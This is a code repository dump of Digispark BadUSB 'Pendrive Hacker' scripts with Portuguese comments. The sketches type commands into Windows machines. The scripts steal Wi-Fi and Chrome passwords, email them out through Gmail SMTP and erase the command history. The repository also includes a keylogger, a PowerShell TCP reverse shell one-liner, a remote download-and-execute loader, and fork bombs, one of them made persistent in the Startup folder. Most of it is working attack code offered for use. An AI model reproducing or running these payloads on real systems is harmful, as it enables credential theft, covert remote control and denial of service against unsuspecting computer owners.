├── DigiKeyboardPtBr.h ├── HackearWIFI ├── codigo-wifi.txt └── enviar-email.ino ├── Keylogger ├── keylogger-code.ps1 └── Κeylogger.ino ├── README.md ├── Reverse_Shell ├── Invoke-PowerShellTcpOneLine.ps1 └── Reverse_Shell.ino ├── Senhas_Navegador └── roubas-senhas.ino ├── Talker └── Talker.ino ├── TravarPC ├── Fork_Bomb.ino └── Persistent_Fork_Bomb.ino ├── Trocar_Wallpaper ├── TrocarWallpaper.ino └── script.txt ├── Wallpaper_Prank └── Wallpaper_Prank.ino └── logo.png /DigiKeyboardPtBr.h: -------------------------------------------------------------------------------- 1 | //Mapeado por Eduardo Gadotti https://github.com/Gadotti em 27/07/2020 2 | 3 | #include "DigiKeyboard.h" 4 | #ifndef DIGIKEYBOARDDE_H 5 | #define DIGIKEYBOARDDE_H 6 | 7 | 8 | #define DE_MOD_CONTROL_LEFT (1<<8) 9 | #define DE_MOD_SHIFT_LEFT (1<<9) 10 | #define DE_MOD_ALT_LEFT (1<<10) 11 | #define DE_MOD_GUI_LEFT (1<<11) 12 | #define DE_MOD_CONTROL_RIGHT (1<<12) 13 | #define DE_MOD_SHIFT_RIGHT (1<<13) 14 | #define DE_MOD_ALT_RIGHT (1<<14) 15 | #define DE_MOD_GUI_RIGHT (1<<15) 16 | const uint16_t _ascii_de_map[128] PROGMEM = 17 | { 18 | 0x00, // NUL 19 | 0x00, // SOH 20 | 0x00, // STX 21 | 0x00, // ETX 22 | 0x00, // EOT 23 | 0x00, // ENQ 24 | 0x00, // ACK 25 | 0x00, // BEL 26 | 0x2a, // BS Backspace 27 | 0x2b, // TAB Tab 28 | 0x28, // LF Enter 29 | 0x00, // VT 30 | 0x00, // FF 31 | 0x00, // CR 32 | 0x00, // SO 33 | 0x00, // SI 34 | 0x00, // DEL 35 | 0x00, // DC1 36 | 0x00, // DC2 37 | 0x00, // DC3 38 | 0x00, // DC4 39 | 0x00, // NAK 40 | 0x00, // SYN 41 | 0x00, // ETB 42 | 0x00, // CAN 43 | 0x00, // EM 44 | 0x00, // SUB 45 | 0x00, // ESC 46 | 0x00, // FS 47 | 0x00, // GS 48 | 0x00, // RS 49 | 0x00, // US 50 | 0x2c, // ' ' 51 | 0x1e|DE_MOD_SHIFT_LEFT, // ! 52 | 0x35|DE_MOD_SHIFT_LEFT, //0x1F|DE_MOD_SHIFT_LEFT, // " 53 | 0x20|DE_MOD_SHIFT_LEFT, //0x38, // # 54 | 0x21|DE_MOD_SHIFT_LEFT, // $ 55 | 0x22|DE_MOD_SHIFT_LEFT, // % 56 | 0x24|DE_MOD_SHIFT_LEFT, //0x23|DE_MOD_SHIFT_LEFT, // & 57 | 0x35, //0x32|DE_MOD_SHIFT_LEFT, // ' 58 | 0x26|DE_MOD_SHIFT_LEFT, //0x25|DE_MOD_SHIFT_LEFT, // ( 59 | 0x27|DE_MOD_SHIFT_LEFT, //0x26|DE_MOD_SHIFT_LEFT, // ) 60 | 0x25|DE_MOD_SHIFT_LEFT, //0x30|DE_MOD_SHIFT_LEFT, // * 61 | 0x2E|DE_MOD_SHIFT_LEFT, //0x30, // + 62 | 0x36, // , 63 | 0x2D, //0x38, // - 64 | 0x37, // . 65 | 0x14|DE_MOD_ALT_RIGHT, //0x24|DE_MOD_SHIFT_LEFT, // / 66 | 0x27, // 0 67 | 0x1e, // 1 68 | 0x1f, // 2 69 | 0x20, // 3 70 | 0x21, // 4 71 | 0x22, // 5 72 | 0x23, // 6 73 | 0x24, // 7 74 | 0x25, // 8 75 | 0x26, // 9 76 | 0x38|DE_MOD_SHIFT_LEFT, //0x37|DE_MOD_SHIFT_LEFT, // : 77 | 0x38, //0x36|DE_MOD_SHIFT_LEFT, // ; 78 | 0x36|DE_MOD_SHIFT_LEFT, //0x64, // < 79 | 0x2E, //0x27|DE_MOD_SHIFT_LEFT, // = 80 | 0x37|DE_MOD_SHIFT_LEFT, //0x64|DE_MOD_SHIFT_LEFT, // > 81 | KEY_W|DE_MOD_ALT_RIGHT, //0x2D|DE_MOD_SHIFT_LEFT, // ? 82 | 0x1f|DE_MOD_SHIFT_LEFT, //0x14|DE_MOD_ALT_RIGHT, // @ 83 | 0x04|DE_MOD_SHIFT_LEFT, // A 84 | 0x05|DE_MOD_SHIFT_LEFT, // B 85 | 0x06|DE_MOD_SHIFT_LEFT, // C 86 | 0x07|DE_MOD_SHIFT_LEFT, // D 87 | 0x08|DE_MOD_SHIFT_LEFT, // E 88 | 0x09|DE_MOD_SHIFT_LEFT, // F 89 | 0x0a|DE_MOD_SHIFT_LEFT, // G 90 | 0x0b|DE_MOD_SHIFT_LEFT, // H 91 | 0x0c|DE_MOD_SHIFT_LEFT, // I 92 | 0x0d|DE_MOD_SHIFT_LEFT, // J 93 | 0x0e|DE_MOD_SHIFT_LEFT, // K 94 | 0x0f|DE_MOD_SHIFT_LEFT, // L 95 | 0x10|DE_MOD_SHIFT_LEFT, // M 96 | 0x11|DE_MOD_SHIFT_LEFT, // N 97 | 0x12|DE_MOD_SHIFT_LEFT, // O 98 | 0x13|DE_MOD_SHIFT_LEFT, // P 99 | 0x14|DE_MOD_SHIFT_LEFT, // Q 100 | 0x15|DE_MOD_SHIFT_LEFT, // R 101 | 0x16|DE_MOD_SHIFT_LEFT, // S 102 | 0x17|DE_MOD_SHIFT_LEFT, // T 103 | 0x18|DE_MOD_SHIFT_LEFT, // U 104 | 0x19|DE_MOD_SHIFT_LEFT, // V 105 | 0x1a|DE_MOD_SHIFT_LEFT, // W 106 | 0x1b|DE_MOD_SHIFT_LEFT, // X 107 | 0x1c|DE_MOD_SHIFT_LEFT, //0x1d|DE_MOD_SHIFT_LEFT, // Y 108 | 0x1d|DE_MOD_SHIFT_LEFT, //0x1c|DE_MOD_SHIFT_LEFT, // Z 109 | 0x30, //0x25|DE_MOD_ALT_RIGHT, // [ 110 | 0x64, //0x2d|DE_MOD_ALT_RIGHT, // bslash 111 | 0x32, //0x26|DE_MOD_ALT_RIGHT, // ] 112 | 0x35, // ^ 113 | 0x2D|DE_MOD_SHIFT_LEFT, //0x38|DE_MOD_SHIFT_LEFT, // _ 114 | 0x2E|DE_MOD_SHIFT_LEFT, // ` 115 | 0x04, // a 116 | 0x05, // b 117 | 0x06, // c 118 | 0x07, // d 119 | 0x08, // e 120 | 0x09, // f 121 | 0x0a, // g 122 | 0x0b, // h 123 | 0x0c, // i 124 | 0x0d, // j 125 | 0x0e, // k 126 | 0x0f, // l 127 | 0x10, // m 128 | 0x11, // n 129 | 0x12, // o 130 | 0x13, // p 131 | 0x14, // q 132 | 0x15, // r 133 | 0x16, // s 134 | 0x17, // t 135 | 0x18, // u 136 | 0x19, // v 137 | 0x1a, // w 138 | 0x1b, // x 139 | 0x1c, //0x1d, // y 140 | 0x1d, //0x1c, // z 141 | 0x30|DE_MOD_SHIFT_LEFT, //0x24|DE_MOD_ALT_RIGHT, // { 142 | 0x64|DE_MOD_SHIFT_LEFT, // | 143 | 0x32|DE_MOD_SHIFT_LEFT, //0x27|DE_MOD_ALT_RIGHT, // } 144 | 0x64, //0x30|DE_MOD_ALT_RIGHT, // ~ 145 | 0 // DEL 146 | }; 147 | //0x7C|0x0040, // | 148 | 149 | class DigiKeyboardDevicePtBr : public DigiKeyboardDevice{ 150 | public: 151 | size_t write(uint8_t chr) { 152 | 153 | //çÇ 154 | if (chr == 195) { 155 | sendKeyStroke(0x33); 156 | //sendKeyStroke(0x33, MOD_SHIFT_LEFT); 157 | } 158 | else { 159 | unsigned int temp = pgm_read_word_near(_ascii_de_map + chr); 160 | unsigned char low = temp & 0xFF; 161 | unsigned char high = (temp >> 8) & 0xFF; 162 | sendKeyStroke(low,high); 163 | } 164 | 165 | return 1; 166 | } 167 | void sendKeyReport(uchar *array,const unsigned int size){ 168 | while (!usbInterruptIsReady()) { 169 | // Note: We wait until we can send keyPress 170 | // so we know the previous keyPress was 171 | // sent. 172 | usbPoll(); 173 | _delay_ms(5); 174 | } 175 | 176 | usbSetInterrupt(array, size); 177 | } 178 | }; 179 | DigiKeyboardDevicePtBr DigiKeyboardPtBr = DigiKeyboardDevicePtBr(); 180 | #endif //DIGIKEYBOARDDE_H 181 | -------------------------------------------------------------------------------- /HackearWIFI/codigo-wifi.txt: -------------------------------------------------------------------------------- 1 | powershell -NoP -NonI -W Hidden -Exec Bypass "(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv c:\\windows\\temp\\temp.csv; cp c:\\windows\\temp\\temp.csv -destination $((gwmi -Query \\"Select * from Win32_LogicalDisk where VolumeName='USB_DRIVE_LABEL'\\").DeviceID); ri c:\\windows\\temp\\temp.csv -force 2 | 3 | 4 | -------------------------------------------------------------------------------- /HackearWIFI/enviar-email.ino: -------------------------------------------------------------------------------- 1 | 2 | #include "DigiKeyboard.h" 3 | void setup() { 4 | } 5 | 6 | char mode[] = "powershell -nop -exec bypass"; 7 | char separator[] = "read-host"; 8 | 9 | void loop() { 10 | DigiKeyboard.sendKeyStroke(0); 11 | DigiKeyboard.delay(500); 12 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 13 | DigiKeyboard.delay(500); 14 | DigiKeyboard.print(mode); 15 | DigiKeyboard.delay(500); 16 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 17 | DigiKeyboard.delay(500); 18 | DigiKeyboard.delay(500); 19 | DigiKeyboard.println("cd $env:temp"); 20 | DigiKeyboard.delay(1000); 21 | DigiKeyboard.println("netsh wlan export profile key=clear"); 22 | DigiKeyboard.delay(1000); 23 | DigiKeyboard.println("powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > temp.csv"); 24 | DigiKeyboard.delay(1000); 25 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 26 | DigiKeyboard.delay(5000); 27 | 28 | //from email address: 29 | DigiKeyboard.print(F("$email = \"EMAIL\";")); 30 | //to email address 31 | DigiKeyboard.print(F("$addressee = \"SEU EMAIL\";")); 32 | // o lugar onde vai salvar as senhas 33 | DigiKeyboard.print(F("$tempcsv = \"$env:temp\\temp.csv\";")); 34 | // senha da sua conta 35 | DigiKeyboard.print(F("$pass = \"SENHA\";")); 36 | DigiKeyboard.print(F("$smtpServer = \"smtp.gmail.com\";")); 37 | DigiKeyboard.print(F("$port = \"587\";")); 38 | 39 | 40 | 41 | DigiKeyboard.print(F("$securestring = $pass | ConvertTo-SecureString -AsPlainText -Force;")); 42 | DigiKeyboard.print(F("$cred = New-Object System.Management.Automation.PSCredential -ArgumentList $email, $securestring;")); 43 | DigiKeyboard.print(F("$msg = new-object Net.Mail.MailMessage;")); 44 | DigiKeyboard.print(F("$smtp = new-object Net.Mail.SmtpClient($smtpServer, $port);")); 45 | DigiKeyboard.print(F("$smtp.EnableSsl = $true;")); 46 | DigiKeyboard.print(F("$msg.From = \"$email\";")); 47 | DigiKeyboard.print(F("$msg.To.Add(\"$addressee\");")); 48 | DigiKeyboard.print(F("$msg.Attachments.Add(\"$tempcsv\");")); 49 | DigiKeyboard.print(F("$msg.BodyEncoding = [system.Text.Encoding]::Unicode;")); 50 | DigiKeyboard.print(F("$msg.SubjectEncoding = [system.Text.Encoding]::Unicode;")); 51 | DigiKeyboard.print(F("$msg.IsBodyHTML = $true ;")); 52 | DigiKeyboard.print(F("$msg.Subject = \"Senhas WIFI\";")); 53 | DigiKeyboard.print(F("$msg.Body = \"

Aqui as suas senhas


olha o arquivo...\"; ")); 54 | DigiKeyboard.print(F("$SMTP.Credentials = $cred;")); 55 | DigiKeyboard.print(F("$smtp.Send($msg);")); 56 | DigiKeyboard.delay(500); 57 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 58 | DigiKeyboard.delay(500); 59 | DigiKeyboard.print(separator); 60 | DigiKeyboard.delay(500); 61 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 62 | DigiKeyboard.delay(500); 63 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 64 | DigiKeyboard.delay(500); 65 | DigiKeyboard.print(mode); 66 | DigiKeyboard.delay(500); 67 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 68 | DigiKeyboard.delay(500); 69 | DigiKeyboard.print(F("del (Get-PSReadlineOption).HistorySavePath;")); 70 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 71 | DigiKeyboard.delay(500); 72 | DigiKeyboard.print(F("rm \"$env:temp\\temp.csv\"")); 73 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 74 | DigiKeyboard.delay(100); 75 | DigiKeyboard.print(separator); 76 | DigiKeyboard.delay(500); 77 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 78 | } 79 | -------------------------------------------------------------------------------- /Keylogger/keylogger-code.ps1: -------------------------------------------------------------------------------- 1 | #requires -Version 2 2 | function Start-KeyLogger($Path="$env:temp\keylogger.txt") 3 | { 4 | # Signatures for API Calls 5 | $signatures = @' 6 | [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 7 | public static extern short GetAsyncKeyState(int virtualKeyCode); 8 | [DllImport("user32.dll", CharSet=CharSet.Auto)] 9 | public static extern int GetKeyboardState(byte[] keystate); 10 | [DllImport("user32.dll", CharSet=CharSet.Auto)] 11 | public static extern int MapVirtualKey(uint uCode, int uMapType); 12 | [DllImport("user32.dll", CharSet=CharSet.Auto)] 13 | public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); 14 | '@ 15 | 16 | # load signatures and make members available 17 | $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru 18 | 19 | # create output file 20 | $null = New-Item -Path $Path -ItemType File -Force 21 | 22 | try 23 | { 24 | Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red 25 | 26 | # create endless loop. When user presses CTRL+C, finally-block 27 | # executes and shows the collected key presses 28 | while ($true) { 29 | Start-Sleep -Milliseconds 40 30 | 31 | # scan all ASCII codes above 8 32 | for ($ascii = 9; $ascii -le 254; $ascii++) { 33 | # get current key state 34 | $state = $API::GetAsyncKeyState($ascii) 35 | 36 | # is key pressed? 37 | if ($state -eq -32767) { 38 | $null = [console]::CapsLock 39 | 40 | # translate scan code to real code 41 | $virtualKey = $API::MapVirtualKey($ascii, 3) 42 | 43 | # get keyboard state for virtual keys 44 | $kbstate = New-Object Byte[] 256 45 | $checkkbstate = $API::GetKeyboardState($kbstate) 46 | 47 | # prepare a StringBuilder to receive input key 48 | $mychar = New-Object -TypeName System.Text.StringBuilder 49 | 50 | # translate virtual key 51 | $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) 52 | 53 | if ($success) 54 | { 55 | # add key to logger file 56 | [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 57 | } 58 | } 59 | } 60 | } 61 | } 62 | finally 63 | { 64 | # open logger file in Notepad 65 | notepad $Path 66 | } 67 | } 68 | 69 | # records all key presses until script is aborted by pressing CTRL+C 70 | # will then open the file with collected key codes 71 | Start-KeyLogger -------------------------------------------------------------------------------- /Keylogger/Κeylogger.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | 3 | void setup() { 4 | //empty 5 | } 6 | void loop() { 7 | // Open Powershell 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.print("powershell"); 12 | DigiKeyboard.delay(500); 13 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 14 | DigiKeyboard.delay(5000); 15 | 16 | // Write Keylogger Function 17 | DigiKeyboard.print(F("$code = {function My-Keypresses($Path=\"$env:temp\\mykeypress.txt\") \n{\n $signatures = @\'\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto, ExactSpelling=true)] \npublic static extern short GetAsyncKeyState(int virtualKeyCode); \n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int GetKeyboardState(byte[] keystate);\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int MapVirtualKey(uint uCode, int uMapType);\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);\n\'@\n\n $API = Add-Type -MemberDefinition $signatures -Name \'Win32\' -Namespace API -PassThru\n \n $null = New-Item -Path $Path -ItemType File -Force\n\n try\n {\n\n while ($true) {\n Start-Sleep -Milliseconds 40\n \n for ($ascii = 9; $ascii -le 254; $ascii++) {\n $state = $API::GetAsyncKeyState($ascii)\n\n if ($state -eq -32767) {\n $null = [console]::CapsLock\n\n $virtualKey = $API::MapVirtualKey($ascii, 3)\n\n $kbstate = New-Object Byte[] 256\n $checkkbstate = $API::GetKeyboardState($kbstate)\n\n $mychar = New-Object -TypeName System.Text.StringBuilder\n\n $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)\n\n if ($success) \n {\n [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) \n }\n }\n }\n }\n }\n finally\n {\n }\n}}; $timeoutSeconds = 10; $j = Start-Job -ScriptBlock $code; if (Wait-Job $j -Timeout $timeoutSeconds) { Receive-Job $j }; Remove-Job -force $j")); 18 | DigiKeyboard.delay(500); 19 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 20 | for(;;){ /*empty*/ } 21 | } 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 |
3 | Pendrive Hacker 4 |

5 | 6 |

Scripts do Pendrive Hacker

7 | 8 | ## Funcionalidades 9 | - [Trocar o Wallpaper](/Trocar_Wallpaper) 10 | - [Roubar Senhas WIFI](/Senhas_WIFI) 11 | - [Roubar Senhas do Navegador](/Senhas_Navegador) 12 | - [Keylogger](/Keylogger) 13 | - [Reverse Shell](/Reverse_Shell) 14 | - [Fazer o PC Falar](/Talker) 15 | - [Pegadinha Wallpaper](/Wallpaper_Prank) 16 | - [Travar o PC](/TravarPC) 17 | 18 | 19 | ## Como usar? 20 | 21 | - Baixe o código `exemplo.ino` e abra na IDE do Arduino 22 | - Clique em Enviar 23 | - Conecte o Digispark e o script vai ser carregado automaticamente -------------------------------------------------------------------------------- /Reverse_Shell/Invoke-PowerShellTcpOneLine.ps1: -------------------------------------------------------------------------------- 1 | $sm=(New-Object Net.Sockets.TCPClient("HOST_IP_ADDRESS",4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} 2 | -------------------------------------------------------------------------------- /Reverse_Shell/Reverse_Shell.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | void setup() { 3 | } 4 | 5 | void loop() { 6 | DigiKeyboard.sendKeyStroke(0); 7 | DigiKeyboard.delay(500); 8 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 9 | DigiKeyboard.delay(500); 10 | DigiKeyboard.print("powershell \"IEX (New-Object Net.WebClient).DownloadString('URL_DO _CODIGO');\""); 11 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 12 | for (;;) {} 13 | } 14 | -------------------------------------------------------------------------------- /Senhas_Navegador/roubas-senhas.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | void setup() { 3 | } 4 | 5 | void loop() { 6 | DigiKeyboard.sendKeyStroke(0); 7 | DigiKeyboard.delay(500); 8 | // Abrindo o google 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.print("chrome"); 12 | DigiKeyboard.delay(500); 13 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 14 | DigiKeyboard.delay(500); 15 | // Indo até as senhas 16 | DigiKeyboard.print("chrome://settings/passwords"); 17 | DigiKeyboard.delay(500); 18 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 19 | DigiKeyboard.delay(500); 20 | DigiKeyboard.print("\t\t\t\t\t\t\t"); 21 | DigiKeyboard.delay(500); 22 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 23 | DigiKeyboard.delay(500); 24 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 25 | DigiKeyboard.delay(500); 26 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 27 | DigiKeyboard.delay(500); 28 | DigiKeyboard.print("senhas.csv"); 29 | DigiKeyboard.delay(500); 30 | DigiKeyboard.print("\t\t\t"); 31 | DigiKeyboard.delay(500); 32 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 33 | // Salvando as senhas 34 | DigiKeyboard.delay(500); 35 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 36 | DigiKeyboard.delay(500); 37 | DigiKeyboard.print("powershell"); 38 | DigiKeyboard.delay(500); 39 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 40 | DigiKeyboard.delay(500); 41 | //from email address: 42 | DigiKeyboard.print(F("$email = \"EMAIL\";")); 43 | //to email address 44 | DigiKeyboard.print(F("$addressee = \" SEU EMAIL\";")); 45 | // o lugar onde vai salvar as senhas 46 | DigiKeyboard.print(F("$tempcsv = \"D:\\Pessoal\\Documents\\senhas.csv\";")); 47 | // senha da sua conta 48 | DigiKeyboard.print(F("$pass = \"SENHA\";")); 49 | DigiKeyboard.print(F("$smtpServer = \"smtp.gmail.com\";")); 50 | DigiKeyboard.print(F("$port = \"587\";")); 51 | 52 | DigiKeyboard.print(F("$securestring = $pass | ConvertTo-SecureString -AsPlainText -Force;")); 53 | DigiKeyboard.print(F("$cred = New-Object System.Management.Automation.PSCredential -ArgumentList $email, $securestring;")); 54 | DigiKeyboard.print(F("$msg = new-object Net.Mail.MailMessage;")); 55 | DigiKeyboard.print(F("$smtp = new-object Net.Mail.SmtpClient($smtpServer, $port);")); 56 | DigiKeyboard.print(F("$smtp.EnableSsl = $true;")); 57 | DigiKeyboard.print(F("$msg.From = \"$email\";")); 58 | DigiKeyboard.print(F("$msg.To.Add(\"$addressee\");")); 59 | DigiKeyboard.print(F("$msg.Attachments.Add(\"$tempcsv\");")); 60 | DigiKeyboard.print(F("$msg.BodyEncoding = [system.Text.Encoding]::Unicode;")); 61 | DigiKeyboard.print(F("$msg.SubjectEncoding = [system.Text.Encoding]::Unicode;")); 62 | DigiKeyboard.print(F("$msg.IsBodyHTML = $true ;")); 63 | DigiKeyboard.print(F("$msg.Subject = \"Senhas do Navegador\";")); 64 | DigiKeyboard.print(F("$msg.Body = \"

Aqui as suas senhas


olha o arquivo...\"; ")); 65 | DigiKeyboard.print(F("$SMTP.Credentials = $cred;")); 66 | DigiKeyboard.print(F("$smtp.Send($msg);")); 67 | DigiKeyboard.delay(500); 68 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 69 | } 70 | -------------------------------------------------------------------------------- /Talker/Talker.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | void setup() { 3 | } 4 | 5 | void loop() { 6 | DigiKeyboard.sendKeyStroke(0); 7 | DigiKeyboard.delay(100); 8 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 9 | DigiKeyboard.delay(100); 10 | DigiKeyboard.print("powershell"); 11 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 12 | DigiKeyboard.delay(3000); 13 | DigiKeyboard.print("Add-Type -AssemblyName System.speech"); 14 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 15 | DigiKeyboard.delay(100); 16 | DigiKeyboard.print("$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer"); 17 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 18 | DigiKeyboard.delay(100); 19 | // Descomentar para usar uma voz feminina 20 | //DigiKeyboard.print("$speak.SelectVoice('Microsoft Zira Desktop')"); 21 | //DigiKeyboard.sendKeyStroke(KEY_ENTER); 22 | //DigiKeyboard.delay(500); 23 | DigiKeyboard.print("$speak.Speak(\"Here's a joke. Why do Java programmers wear glasses? Because they can't C#.\")"); 24 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 25 | DigiKeyboard.delay(100); 26 | DigiKeyboard.print("exit"); 27 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 28 | DigiKeyboard.delay(100); 29 | DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT); 30 | DigiKeyboard.sendKeyStroke(KEY_N); 31 | for (;;) { 32 | /*empty*/ 33 | } 34 | 35 | } 36 | -------------------------------------------------------------------------------- /TravarPC/Fork_Bomb.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | 3 | void setup() { 4 | } 5 | 6 | void loop() { 7 | DigiKeyboard.sendKeyStroke(0); 8 | DigiKeyboard.delay(500); 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.print("cmd"); 12 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 13 | DigiKeyboard.delay(500); 14 | //Esconde o Terminal 15 | DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); 16 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 17 | DigiKeyboard.delay(100); 18 | DigiKeyboard.print("COLOR EF"); 19 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 20 | //Ativa the fork bomb 21 | DigiKeyboard.delay(500); 22 | DigiKeyboard.print(F("for /l %x in (0,0,0) do start")); 23 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 24 | 25 | for (;;) {} 26 | } 27 | -------------------------------------------------------------------------------- /TravarPC/Persistent_Fork_Bomb.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | 3 | void setup() { 4 | } 5 | 6 | void loop() { 7 | DigiKeyboard.sendKeyStroke(0); 8 | DigiKeyboard.delay(500); 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.print("cmd"); 12 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 13 | DigiKeyboard.delay(500); 14 | DigiKeyboard.print(F("echo for /l %%x in (0, 0, 0) do start > \"%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fork.bat\"")); 15 | DigiKeyboard.delay(500); 16 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 17 | DigiKeyboard.delay(500); 18 | DigiKeyboard.print("exit"); 19 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 20 | for(;;){ /*empty*/ } 21 | } 22 | -------------------------------------------------------------------------------- /Trocar_Wallpaper/TrocarWallpaper.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | void setup() { 3 | //empty 4 | } 5 | void loop() { 6 | DigiKeyboard.sendKeyStroke(0); 7 | DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); 8 | DigiKeyboard.delay(500); 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.print("powershell"); 12 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 13 | DigiKeyboard.delay(500); 14 | DigiKeyboard.print("$client = new-object System.Net.WebClient"); 15 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 16 | DigiKeyboard.delay(500); 17 | DigiKeyboard.print("$client.DownloadFile(\"URL_DA_FOTO\" , \"foto.jpg\")"); 18 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 19 | DigiKeyboard.delay(500); 20 | DigiKeyboard.print("reg add \"HKCU\\Control Panel\\Desktop\" /v WallPaper /d \"%USERPROFILE%\\foto.jpg\" /f"); 21 | DigiKeyboard.delay(500); 22 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 23 | DigiKeyboard.delay(500); 24 | DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True"); 25 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 26 | DigiKeyboard.delay(500); 27 | DigiKeyboard.print("exit"); 28 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 29 | 30 | for(;;){ /*empty*/ } 31 | } 32 | -------------------------------------------------------------------------------- /Trocar_Wallpaper/script.txt: -------------------------------------------------------------------------------- 1 | 2 | $client = new-object System.Net.WebClient 3 | $client.DownloadFile("URL_DA_FOTO" , "foto.jpg") 4 | reg add "HKCU\Control Panel\Desktop" /v WallPaper /d "%USERPROFILE%\foto.jpg" /f 5 | RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True -------------------------------------------------------------------------------- /Wallpaper_Prank/Wallpaper_Prank.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | void setup() { 3 | //empty 4 | } 5 | 6 | void loop() { 7 | DigiKeyboard.sendKeyStroke(0); 8 | DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); 9 | DigiKeyboard.delay(500); 10 | DigiKeyboard.sendKeyStroke(70, MOD_ALT_LEFT); 11 | DigiKeyboard.delay(500); 12 | 